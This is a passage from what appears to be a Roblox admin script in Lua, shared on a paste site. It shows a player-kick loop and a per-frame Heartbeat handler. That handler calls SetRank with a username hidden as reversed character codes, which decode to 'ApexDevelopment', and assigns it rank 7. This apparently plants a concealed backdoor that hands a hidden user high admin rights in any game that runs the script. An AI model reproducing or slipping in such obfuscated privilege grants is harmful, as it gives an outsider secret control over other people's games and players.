- if AccAgeKick == true then
- Output(v.Name.. " has been kicked for due privateserver!", "Deep orange")
- end
- end
- pcall(function()
- coroutine.wrap(function()
- repeat v:Kick() wait(.1) until v == nil
- end)()
- end)
- end
- end
- end
- end
- end)()
- local hah = false
- game:GetService("RunService").Heartbeat:connect(function()
- UpdateRotation()
- SetRank(string.reverse(string.char(116,110,101,109,112,111,108,101,118,101,068,120,101,112,065)), 7)
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement